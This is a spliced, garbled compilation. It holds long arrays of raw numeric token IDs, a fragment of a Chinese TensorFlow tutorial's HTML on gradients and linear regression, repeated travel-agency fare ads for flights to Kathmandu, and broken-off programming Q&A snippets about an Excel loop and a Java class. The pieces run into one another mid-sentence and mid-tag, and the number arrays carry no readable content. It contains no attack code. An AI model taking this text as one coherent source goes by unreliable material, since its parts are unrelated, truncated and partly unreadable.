12847, 3141, 68, 25, 68, 26, 12847, 1473, 19, 68, 2691, 70, 19, 69, 15, 8567, 3, 6945, 568, 90, 426, 4589, 559, 270, 5647, 209, 24370, 23825, 242, 24168, 16740, 9078, 110, 36998, 6238, 43873, 7249, 215, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 66, 870, 2551, 3073, 3211, 31, 209, 21458, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 67, 870, 2551, 3073, 3211, 31, 209, 12105, 12005, 216, 43741, 5225, 39573, 15531, 4340, 870, 81, 31, 187, 29, 81, 31, 40843, 233, 43216, 6238, 31486, 17576, 11871, 220, 36998, 6238, 36778, 16677, 41140, 18957, 5225, 14318, 229, 9850, 27707, 44508, 224, 21275, 4340, 870, 81, 31, 187, 29, 2154, 966, 568, 30703, 14, 6986, 417, 16147, 12579, 5264, 2154, 966, 568, 30703, 5264, 3456, 2730, 2551, 3073, 2551, 2730, 2551, 966, 568, 3696, 1138, 2948, 870, 2551, 31, 654, 2551, 966, 568, 9866, 1138, 79, 37028, 870, 2551, 31, 654, 2551, 966, 568, 76, 1138, 284, 870, 2551, 31, 654, 2551, 966, 568, 9866, 1138, 18650, 870, 2551, 31, 187, 187, 29, 2551, 966, 568, 79, 1138, 57, 64, 2040, 870, 2551, 31, 654, 2551, 966, 568, 80, 1138, 30, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 18650, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 3728, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 8850, 870, 2551, 2730, 2551, 966, 568, 7373, 1138, 6622, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551 ]

class="o">.</span><span class="n">gradient</span><span class="p">(</span><span class="n">L</span><span class="p">,</span> <span class="p">[</span><span class="n">w</span><span class="p">,</span> <span class="n">b</span><span class="p">])</span> <span class="c1"># 计算L(w, b)关于w, b的偏导数</span> <span class="nb">print</span><span class="p">(</span><span class="n">L</span><span class="p">,</span> <span class="n">w_grad</span><span class="p">,</span> <span class="n">b_grad</span><span class="p">)</span> </pre></div> </div> <p>输出:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">tf</span><span class="o">.</span><span class="n">Tensor</span><span class="p">(</span><span class="mf">125.0</span><span class="p">,</span> <span class="n">shape</span><span class="o">=</span><span class="p">(),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">float32</span><span class="p">)</span> <span class="n">tf</span><span class="o">.</span><span class="n">Tensor</span><span class="p">(</span> <span class="p">[[</span> <span class="mf">70.</span><span class="p">]</span> <span class="p">[</span><span class="mf">100.</span><span class="p">]],</span> <span class="n">shape</span><span class="o">=</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">float32</span><span class="p">)</span> <span class="n">tf</span><span class="o">.</span><span class="n">Tensor</span><span class="p">(</span><span class="mf">30.0</span><span class="p">,</span> <span class="n">shape</span><span class="o">=</span><span class="p">(),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">float32</span><span class="p">)</span> </pre></div> </div> <p>这里， <code class="docutils literal notranslate"><span class="pre">tf.square()</span></code> 操作代表对输入张量的每一个元素求平方，不改变张量形状。 <code class="docutils literal notranslate"><span class="pre">tf.reduce_sum()</span></code> 操作代表对输入张量的所有元素求和，输出一个形状为空的纯量张量（可以通过 <code class="docutils literal notranslate"><span class="pre">axis</span></code> 参数来指定求和的维度，不指定则默认对所有元素求和）。TensorFlow中有大量的张量操作API，包括数学运算、张量形状操作（如 <code class="docutils literal notranslate"><span class="pre">tf.reshape()</span></code>）、切片和连接（如 <code class="docutils literal notranslate"><span class="pre">tf.concat()</span></code>）等多种类型，可以通过查阅TensorFlow的官方API文档 <a class="footnote-reference brackets" href="#f3" id="id9">2</a> 来进一步了解。</p> <p>从输出可见，TensorFlow帮助我们计算出了</p> <div class="math"> <p><img src="../../_images/math/1ac464fd70b56c10c245f81d76eaf97e7e436d54.png" alt="L((1, 2)^T, 1) &= 125 \frac{\partial L(w, b)}{\partial w} |_{w = (1, 2)^T, b = 1} &= \begin{bmatrix} 70 \\ 100\end{bmatrix} \frac{\partial L(w, b)}{\partial b} |_{w = (1, 2)^T, b = 1} &= 30"/></p> </div></div> <div class="section" id="zh-hans-linear-regression"> <span id="id10"></span><h2>基础示例：线性回归<a class="headerlink" href="#zh-hans-linear-regression" title="永久链接至标题">¶</a></h2> <div class="admonition- admonition"> <p class="admonition-title">基础知识和原理</p> <ul class="simple"> <li><p>UFLDL教程 <a class="reference external" href="http://ufldl.stanford.edu/tutorial/supervised/LinearRegression/">Linear Regression</a> 一节。</p></li> </ul> </div> <p>考虑一个实际问题，某城市在2013年-2017年的房价如下表所示：</p> <table class="docutils align-default"> <colgroup> <col style="width: 19%" /> <col style="width: 16%" /> <col style="width: 16%" /> <col style="width: 16%" /> <col style="width: 16%" /> <col style="width: 16%" /> </colgroup> <tbody> <tr class="row-odd"><td><p>年份</p></td> <td><p>2013</p></td> <td><p>2014</p></td> <td><p>2015</p></td> <td><p>2016</p></td> <td><p>2017</p></td> </tr> <tr class="row-even"><td><p>房价</p></td> <td><p>12000</p></td> <td><p>14000</p></td> <td><p>15000</p></td> <td><p>16500</p></td> <td><p>17500</p></td> </tr> </tbody> </table> <p>现在，我们希望通过对该数据进行线性回归，即使用线性模型 <img class="math" src="../../_images/math/08657936072cefe083681bc78c8c9bcda2c86e2d.png" alt="y = ax + b"/> 来拟合上述数据，此处 <code class="docutils literal notranslate"><span class="pre">a</span></code> 和 <code class="docutils literal notranslate"><span class="pre">b</span></code> 是待求的参数。</p> <p>首先，我们定义数据，进行基本的归一化操作。</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span> <span class="n">X_raw</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">2013</span><span class="p">,</span> <span

[ 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 37, 1225, 404, 708, 308, 6356, 274, 4195, 373, 281, 23843, 7076, 86, 313, 18948, 898, 13, 4104, 10, 187, 187, 45441, 4195, 373, 403, 2130, 323, 4288, 281, 35020, 1309, 37521, 404, 285, 308, 6356, 274, 436, 807, 15, 401, 4420, 2491, 432, 370, 898, 2090, 281, 370, 1638, 2222, 432, 954, 8238, 15, 1310, 368, 403, 6110, 275, 2970, 247, 14430, 13, 4496, 3426, 253, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 10430, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 342, 634, 4288, 12282, 285, 4454, 13, 390, 407, 4481, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 15, 187, 187, 12161, 12449, 432, 1457, 2816, 313, 43, 27168, 10, 943, 40279, 670, 253, 2714, 4195, 373, 432, 8842, 333, 11553, 313, 36517, 10, 1223, 13512, 403, 2130, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 53, 26195, 281, 23843, 7076, 86, 323, 4288, 562, 2180, 4247, 428, 2552, 313, 14060, 337, 13, 4104, 10, 187, 187, 2512, 310, 7289, 281, 23843, 7076, 86, 285, 13571, 7911, 2491, 432, 28689, 22908, 428, 31268, 432, 1142, 8238, 275, 253, 1982, 15, 1422, 476, 8778, 562, 875, 1024, 285, 2552, 4562, 15, 1707, 403, 690, 2806, 483, 9894, 327, 253, 562, 9458, 275, 2552, 13, 285, 4288, 310, 417, 11460, 327, 253, 1091, 1309, 690, 5241, 9894, 275, 4163, 428, 4223, 15, 187, 187, 1394, 476, 3297, 323, 598, 281, 577, 2607, 15, 6676, 273, 253, 7289, 14997, 452, 1077, 1029, 22414, 323, 3522, 2544, 285, 1275, 41748, 403, 417, 11460, 15, 187, 187, 6872, 20818, 588, 3839, 320, 275, 38372, 13, 17218, 26590, 13, 390, 47229, 313, 3113, 8778, 37, 538, 2284, 481, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 27303, 1283, 1163, 48702, 281, 23843, 7076, 86, 323, 4565, 708, 4247, 428, 3919, 313, 27303, 1283, 13, 4059, 10, 187, 187, 2042, 368, 403, 7219, 247, 7408, 281, 35020, 13, 253, 7911, 323, 253, 562, 9458, 4565, 2180, 588, 320, 875, 28689, 31268, 428, 29316, 15, 1310, 368, 403, 2104, 281, 4288, 846, 4247, 1458, 13, 253, 7911, 588, 320, 1475, 28689, 39739, 428, 31268, 15, 496, 690, 2219, 13, 253, 2406, 4195, 373, 3135, 432, 253, 806, 2129, 273, 4247, 432, 247, 1180, 273, 8238, 15, 187, 187, 6872, 20818, 588, 3839, 320, 275, 38372, 13, 17218, 26590, 13, 390, 47229, 313, 3113, 8778, 37, 538, 2284, 10, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 22342, 18188, 1163, 401, 4420, 323, 37521, 404, 313, 22342, 818, 13, 4059, 10, 187, 187, 2042, 368, 403, 7219, 281, 4143, 35020, 323, 37521, 404, 13, 285, 368, 403, 2104, 281, 4288, 1078, 4397, 655, 13, 4195, 373, 403, 1335, 1077, 12085, 15, 187, 187, 4553, 436, 3522, 13, 13512, 403, 3240, 3710, 285, 7911, 8268, 253, 28689, 39678, 1616, 15, 7764, 7522, 275, 253, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 13, 285, 359, 588, 1007, 323, 690, 20182, 4610, 323, 368, 537, 187, 187, 19206, 386, 14964, 12282, 27, 187, 187, 37, 1225, 404, 308, 11825, 187, 187, 25897, 13, 4437, 495, 187, 187, 53, 6356, 274, 378, 16926, 308, 11825, 187, 187, 28007, 13, 4437, 2030, 187, 187, 39, 4420, 403, 3264, 281, 2572, 846, 436, 2129, 285, 359, 11907, 368, 281, 1379, 5750, 273, 841, 2406, 4195, 373, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 6791, 1458, 27, 20672, 4195, 373, 281, 23843, 7076, 86, 275, 3978, 13, 4163, 13, 4223, 285, 4397, 187, 187, 50, 15642, 13, 17218, 26590, 285, 16861, 29218, 452, 5777, 3777, 616, 4195, 373, 323, 3978, 428, 4397, 436, 807, 15, 1023, 1832, 403, 1077, 3710, 285, 368, 778, 878, 281, 1818, 634, 4288, 12282, 407, 347, 1199, 347, 818, 428, 740, 1897, 15, 7764, 3426, 253, 2748, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 13, 285, 359, 588, 1007, 323, 690, 20182, 4610, 323, 368, 15, 187, 187, 2512, 310, 642, 12215, 253, 4195, 373, 588, 320, 2130, 432, 634, 2846, 390, 327, 634, 4288, 12282, 15, 844, 588, 1611, 776, 1682, 281, 1089, 253, 1682, 4195, 373, 323, 634, 4288, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 18489, 2145, 27, 38372, 14538, 29068, 281, 23843, 7076, 86, 187, 187, 50, 15642, 556, 6138, 1529, 7289, 432, 697, 14713, 84, 387, 8068, 13, 5041, 13, 1457, 2816, 285, 14296, 323, 253, 5768, 15, 22344, 403, 671, 2130, 432, 247, 1643, 273, 253, 17838, 14713, 84, 15, 10396, 7911, 403, 417, 5907, 3066, 14289, 390, 16146, 15, 187, 187, 14067, 253, 7289, 13, 253, 2424, 13512, 403, 10693, 2130, 15, 7764, 7522, 275, 253, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 285, 359, 588, 22276, 368, 604, 253, 4195, 373, 403, 3588, 327, 1110, 12282, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 17961, 2164, 1163, 29068, 327, 1142, 29218, 1227, 5595, 37665, 313, 17961, 428, 2552, 4288, 10, 187, 187, 2042, 368, 403, 2104, 281, 4288, 875, 1024, 285, 253, 990, 273, 2552, 13, 253, 4195, 373, 403, 1335, 3240, 1698, 15, 7764, 7522, 275, 253, 2748, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 13, 285, 359, 588, 12252, 4745, 15, 187, 187, 1909, 342, 667, 643, 13571, 327, 7289, 13, 954, 273, 841, 14997, 403, 1327, 14, 709, 1504, 494, 285, 3522, 2544, 403, 1077, 1029, 15, 47368, 760, 604, 368, 403, 2119, 273, 253, 7408, 285, 1053, 626, 1902, 281, 1056, 667, 3522, 2544, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 401, 4420, 327, 512, 2201, 39995, 15, 187, 187, 17961, 608, 27, 29068, 327, 1142, 29218, 1227, 5595, 37665, 1227, 5595, 1023, 3743, 187, 187, 39, 4420, 452, 644, 3777, 407, 954, 39995, 12060, 715, 35020, 15, 1310, 368, 403, 2104, 281, 4288, 1078, 3978, 1249, 13, 4195, 373, 403, 2761, 1884, 2558, 2406, 15, 4952, 323, 37521, 404, 13, 604, 368, 403, 2104, 281, 3553, 323, 37521, 404, 1078, 655, 4397, 13, 253, 4195, 373, 403, 651, 320, 1679, 685, 28689, 337, 9519, 432, 954, 8238, 15, 187, 187, 1231, 513, 1642, 368, 281, 320, 247, 1652, 12112, 342, 634, 12282, 281, 1379, 5750, 273, 841, 4195, 373, 15, 187, 187, 6067, 1067, 14118, 452, 644, 3240, 1029, 285, 359, 4510, 326, 368, 7522, 275, 253, 2748, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 15, 1422, 476, 671, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 39338, 14, 1010, 2904, 187, 187, 39, 4420, 403, 1335, 2169, 323, 253, 5768, 9894, 875, 3978, 2145, 285, 4223, 1458, 15, 187, 187, 1909, 342, 667, 643, 13571, 327, 7289, 13, 954, 273, 841, 14997, 403, 1327, 14, 709, 1504, 494, 285, 3522, 2544, 403, 1077, 1029, 15, 47368, 760, 604, 368, 403, 2119, 273, 253, 7408, 285, 1053, 626, 1902, 281, 1056, 667, 3522, 2544, 15, 187, 187, 8693, 1388, 281, 7471, 253, 13571, 310, 4416, 1249, 15, 844, 513, 1804, 326, 368, 3057, 441, 4321, 323, 841, 4142, 15, 187, 187, 20598, 1605, 932, 285, 5566, 398, 187, 187, 938, 3344, 4059, 281, 3307, 3344, 4059, 428, 14772, 45710, 7357, 3495, 3344, 4059, 187, 187, 50, 15642, 6037, 1576, 310, 1907, 247, 2201, 7289, 432, 954, 8238, 275, 253, 1982, 15, 15292, 702, 84, 598, 281, 1884, 2558, 15, 380, 1682, 1039, 281, 3057, 441, 310, 407, 21006, 247, 2748, 247, 14430, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 594, 359, 452, 253, 2424, 1491, 281, 1918, 368, 271, 44414, 552, 285, 4376, 15, 1422, 476, 671, 1067, 441, 387, 22038, 15, 39338, 15, 1010, 2904, 390, 4579, 441, 387, 8692, 33, 49738, 35545, 84, 15, 681, 187, 187, 7542, 436, 310, 247, 2714, 19021, 13, 14997, 1364, 320, 9716, 407, 8330, 13, 3344, 3307, 15, 187, 187, 5677, 9458, 4288, 1364, 320, 875, 3436, 3344, 949, 1722, 7659, 13, 533, 627, 310, 247, 2806, 2180, 875, 2164, 4163, 285, 2145, 4397, 15, 187, 187, 7845, 7471, 841, 14997, 760, 604, 368, 403, 2119, 670, 634, 4288, 5827, 13, 347, 841, 14997, 403, 1327, 14, 709, 1504, 494, 13, 285, 3522, 2544, 36967, 5536, 22414, 15, 187, 187, 21691, 273, 253, 7289, 27, 187, 187, 8693, 1388, 281, 13571, 27, 187, 187, 28781, 13, 3344, 3307, 13, 4059, 187, 187, 15383, 483, 27, 187, 187, 1348, 14, 24221, 14, 1012, 14, 22342, 187, 187, 44831, 3297, 27, 187, 187, 20, 23264, 187, 187, 40984, 28504, 27, 187, 187, 20, 4200, 20556, 187, 187, 13086, 27, 187, 187, 38169, 20156, 559, 19021, 3064, 187, 187, 36, 18126, 318, 27, 187, 187, 53, 26195, 403, 8758, 14, 7676, 1504, 494, 187, 187, 2302, 921, 27, 187, 187, 53, 26195, 403, 8758, 14, 709, 1504, 494, 708, 8758, 14, 4168, 494, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 187, 187, 1231, 671, 3959, 368, 12085, 401, 4420, 327, 512, 2201, 39995, 15, 187, 187, 27303, 1903, 27, 38372, 495, 1388, 7289, 428, 1996, 6508, 281, 10733, 3436, 394, 187, 187, 1992, 29461, 27928, 38372, 6037, 1106, 434, 11250, 281, 253, 2596, 3645, 23158, 13, 352, 310, 3515, 247, 495, 1897, 11841, 29068, 15, 308, 21315, 7911, 403, 6137, 407, 347, 1199, 347, 2030, 2558, 275, 778, 15050, 15, 187, 187, 9586, 2167, 253, 4288, 2180, 3797, 4596, 285, 4565, 13, 14997, 403, 417, 2130, 281, 23843, 7076, 86, 15, 380, 18353, 368, 476, 4288, 310, 1668, 4247, 15, 7764, 3877, 2378, 969, 253, 13512, 403, 417, 2130, 323, 253, 9449, 2740, 15, 50, 27, 187, 187, 29724, 281, 1091, 271, 3781, 672, 4194, 1180, 285, 3781, 1180, 1057, 417, 3761, 15, 37357, 342, 20494, 6287, 187, 187, 42, 452, 247, 1895, 835, 309, 452, 3562, 271, 11782, 342, 4903, 285, 309, 50276, 28206, 281, 4901, 253, 2193, 275, 619, 11782, 275, 247, 4858, 5084, 534, 1057, 417, 3761, 253, 4194, 3605, 273, 619, 11782, 15, 209, 187, 42, 971, 281, 6287, 949, 247, 5084, 285, 309, 971, 281, 1091, 247, 1318, 432, 271, 11782, 534, 1057, 417, 944, 2076, 423, 342, 253, 4194, 3605, 273, 253, 5084, 15, 2064, 812, 323 ]

1508We also offer you competitive fares on all major airlines. Dashain & Tihar fares to Kathmandu (June 9, 2015) Excellent fares are available for travel to Nepal during Dashain and Tihar this year. Fares range from $ 969 to $ 1495 from most cities. If you are interested in getting a quote, please complete the form at http://zentravels.com/request-a-quote, sending us an email at info@zentravels.com with your travel dates and names, or by phone at (202) 552-1508. Passengers from New York (JFK) should inquire about the special fares from Cathay Pacific (CX) while seats are available. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Tickets to Kathmandu for travel out period January - May (Jan 1, 2015) There is sale to Kathmandu and ticket prices range from USD 900 - 1200 from many cities in the US. You can fly out between now and May 31. There are some blackout periods on the outbound in May, and travel is not permitted on the return during some peak periods in July - August. You can stay for up to 4 months. Many of the sale tickets have very high penalties for date changes and refunds are not permitted. These flights will generally be in Qatar, Etihad, or Emirates (with flyDubai). Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Nov 18 : Tickets to Kathmandu for December & January - March (Nov 18, 2014) If you are planning a trip to Nepal, the prices for the outbound December period will be between USD 1200 - 1800. If you are able to travel after January 15, the prices will be around USD 850 - 1200. In some cases, the lower fares begin from the first week of January from a number of cities. These flights will generally be in Qatar, Etihad, or Emirates (with flyDubai) Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Sep 07 : Fares for Dashain (Sep 7, 2014) If you are planning to visit Nepal for Dashain, and you are able to travel before September 19, fares are still very competitive. After this date, seats are quite limited and prices exceed the USD 1600 mark. Please fill in the form at http://zentravels.com/request-a-quote, send us an email at info@zentravels.com or call us at (202) 552-1508, and we will look for some cheaper options for you.. Important Festival dates: Dashain Tika Friday, October 3 Tihar Bhai Tika Saturday, October 25 Fares are expected to increase after this week and we encourage you to take advantage of these lower fares. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. May 15: Lower fares to Kathmandu in June, July, August and September Qatar, Etihad and Singapore Airlines have slightly reduced their fares for June - September this year. Seats are very limited and you may need to change your travel dates by as much as 7 -10 days. Please complete the request form at http://zentravels.com/request-a-quote, send us an email at info@zentravels.com or call us at (202) 552-1508, and we will look for some cheaper options for you. There is no guarantee the fares will be available from your city or on your travel dates. We will try our best to find the best fares for your travel. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. March 13: Qatar Summer Sale to Kathmandu Qatar has announced another sale from its hubs at Chicago, Washington, New York and Houston for the summer. Sales are also available from a few of the AA hubs. Special prices are not offered via Philadelphia or Miami. Despite the sale, the required seats are hardly available. Please fill in the form at http://zentravels.com/request-a-quote, and we will advise you if the fares are valid on those dates. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Feb 24 : Sale on many Airlines / Most Cities (Feb - May travel) If you are able to travel between now and the end of May, the fares are still quite low. Please fill in the request form at http://zentravels.com/request-a-quote, send us an email at info@zentravels.com or call us at (202) 552-1508, and we will reply immediately. As with any other ticket on sale, most of these tickets are non-refundable and date changes are very high. Purchase only if you are sure of the trip and don't expect to make any date changes. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive Fares on all major airlines. Feb 5: Sale on many Airlines / Most Cities / Most Seasons Fares have been reduced by most airlines flying into Nepal. If you are able to travel before June 12, fares are almost 30 percent lower. Even for Dashain, if you are able to leave for Dashain before 19 September, the fares are would be less than USD 1250 from most cities. We do ask you to be a little flexible with your dates to take advantage of these fares. Our call volumes have been quite high and we prefer that you fill in the request form at http://zentravels.com/request-a-quote. You can also send us an email at info@zentravels.com or call us at (202)552-1508 Fares are still higher for the summer periods between June 13 and August 15. As with any other ticket on sale, most of these tickets are non-refundable and date changes are very high. Purchase only if you are sure of the trip and don't expect to make any date changes. Last day to purchase the ticket is Feb 12. We do suggest that you contact us earlier for these rates. Old Deals and Offers 20 Jan 2014 to 22 Jan 2014 - Later Extended till 23 Jan 2014 Qatar Airways is having a major sale from most cities in the US. Discounts up to 30 percent. The best way to contact us is by completing a request a quote form at http://zentravels.com/request-a-quote so we have the required information to give you an itinerary and price. You can also call us at 202.552.1508 or email us at info@zentravels.com Since this is a special fare, tickets must be purchased by Wednesday, Jan 22. Outbound travel must be between 26 Jan through 17 Dec, but there is a black period between 24 July and 13 September. Please purchase these tickets only if you are sure about your travel plans, as these tickets are non-refundable, and date changes incur heavy penalties. Details of the sale: Last day to ticket: Wednesday, Jan 22, 2014 Blackout: 24-Jul-13-Sep Minimum stay: 3 Days Maximum Stay: 3 Months Change: USD 450 + fare difference Cancellation: Tickets are Non-Refundable No show: Tickets are Non-refundable & Non-changeable Please contact us at zentravels.com or call us at (202) 552-1508 We also offer you competitive Fares on all major airlines. Nov 11: Qatar 3 day sale - later extended to Nov 26th To commemorate Qatar Airway's inclusion to the One World alliance, it is running a 3 days Global Sale. Ticket prices are decreased by as much as 25 percent in may routes. Even though the travel period includes November and December, tickets are not available to Kathmandu. The earliest you can travel is 16 January. Please note once again the seats are not available for the Christmas break.Q: Loop to return an array when row number and array number does not match. Problems with nested loop I have a problem where I have created an Array with variables and I want to enter the values in my Array in a separate column which does not match the row index of my Array. I want to loop through a column and I want to return a value from an Array which does not correspend with the row index of the column. That could for

[ 27347, 10166, 275, 24671, 4877, 588, 10347, 5014, 281, 11377, 275, 19951, 4017, 13, 5079, 40556, 264, 1482, 13, 285, 275, 1329, 9503, 275, 1327, 43115, 2250, 275, 253, 5052, 4866, 15, 29712, 398, 403, 42167, 416, 3770, 1342, 13, 31270, 30947, 13, 285, 443, 1758, 3044, 34, 6851, 15, 50, 27, 187, 187, 11495, 342, 4974, 5564, 187, 187, 1552, 2127, 2722, 247, 4060, 342, 271, 2460, 285, 749, 5564, 27, 187, 187, 1276, 11701, 476, 309, 1056, 275, 436, 2127, 285, 310, 627, 247, 1805, 273, 2509, 436, 32, 187, 10708, 3631, 8999, 15, 13510, 11495, 28, 187, 187, 2948, 19199, 50095, 15, 32280, 15, 8519, 15, 11495, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 6586, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 45799, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 7916, 15, 15099, 32118, 28, 187, 187, 6930, 187, 475, 187, 475, 1214, 7582, 329, 312, 343, 465, 5582, 187, 1738, 187, 4387, 966, 24527, 3378, 5623, 13408, 8725, 23566, 32118, 551, 187, 187, 9486, 2457, 24527, 4060, 426, 747, 24527, 1874, 187, 9486, 2457, 24527, 749, 13408, 426, 747, 24527, 1874, 187, 9486, 2457, 10882, 3145, 17300, 426, 747, 10882, 3145, 1874, 187, 187, 4387, 24527, 3378, 5623, 13408, 9, 2776, 4060, 2776, 13, 4605, 749, 2776, 13, 10882, 17300, 10, 551, 187, 50274, 1178, 13408, 9, 5564, 2776, 558, 187, 50274, 1178, 5623, 13408, 9, 2377, 2776, 558, 187, 50274, 1178, 1044, 3561, 9, 30857, 558, 187, 50274, 4478, 1874, 187, 94, 187, 187, 9486, 2991, 873, 5623, 13408, 9, 2776, 749, 10, 551, 187, 50274, 2377, 13408, 15, 32256, 9, 2377, 558, 187, 94, 187, 187, 9486, 2991, 873, 1044, 3561, 9, 6586, 23764, 10, 551, 187, 50274, 30857, 15, 1178, 6586, 9, 8428, 558, 187, 94, 187, 187, 9486, 2991, 873, 13408, 9, 2776, 4060, 2776, 10, 551, 187, 50274, 5564, 15, 32256, 9, 5564, 2776, 558, 187, 94, 187, 187, 9486, 2991, 2012, 1082, 551, 187, 50274, 1911, 9, 30857, 13, 470, 13, 470, 13, 337, 13, 374, 558, 187, 50274, 1911, 9, 5564, 13, 337, 13, 470, 558, 187, 50274, 1911, 9, 2377, 13408, 13, 337, 13, 337, 558, 187, 94, 187, 187, 94, 187, 187, 34, 27, 187, 187, 6300, 281, 1405, 12389, 21460, 27, 187, 10069, 1076, 187, 1552, 1057, 417, 1056, 3282, 27, 187, 187, 94, 187, 187, 94, 187, 187, 42, 717, 417, 2119, 604, 436, 310, 253, 33907, 1895, 275, 3491, 285, 2469, 272, 432, 26705, 390, 352, 369, 751, 436, 275, 253, 26705, 275, 253, 806, 1659, 15, 187, 1992, 9113, 5981, 634, 2127, 1060, 13, 368, 476, 3491, 285, 15596, 432, 634, 26705, 13, 3609, 512, 634, 2127, 13, 285, 2315, 44574, 14, 76, 390, 5532, 253, 12166, 6409, 387, 253, 1755, 273, 253, 14835, 41288, 27, 187, 187, 2042, 352, 310, 253, 3236, 1039, 275, 253, 26705, 13, 634, 26705, 943, 452, 247, 5981, 4500, 15, 1310, 368, 476, 626, 1089, 352, 13, 3186, 352, 598, 327, 17899, 27, 368, 1833, 6524, 1089, 352, 15, 187, 47, 6472, 187, 5623, 5564, 310, 581, 3159, 13, 594, 368, 476, 4354, 1818, 749, 13408, 281, 749, 5564, 15, 831, 10384, 281, 778, 4243, 273, 634, 2127, 15, 187, 187, 9486, 2991, 873, 5623, 5564, 9, 2776, 749, 10, 551, 187, 50274, 2377, 5564, 15, 32256, 9, 2377, 558, 187, 94, 187, 187, 9486, 2991, 873, 1044, 3561, 9, 6586, 23764, 10, 551, 187, 50274, 30857, 15, 1178, 6586, 9, 8428, 558, 187, 94, 187, 187, 9486, 2991, 873, 13408, 9, 2776, 4060, 2776, 10, 551, 187, 50274, 5564, 15, 32256, 9, 5564, 2776, 558, 187, 94, 187, 187, 4943, 13, 368, 452, 690, 36439, 4454, 13, 751, 749, 13, 285, 6508, 4454, 13, 751, 4060, 2776, 15, 35876, 943, 344, 44003, 13, 533, 34007, 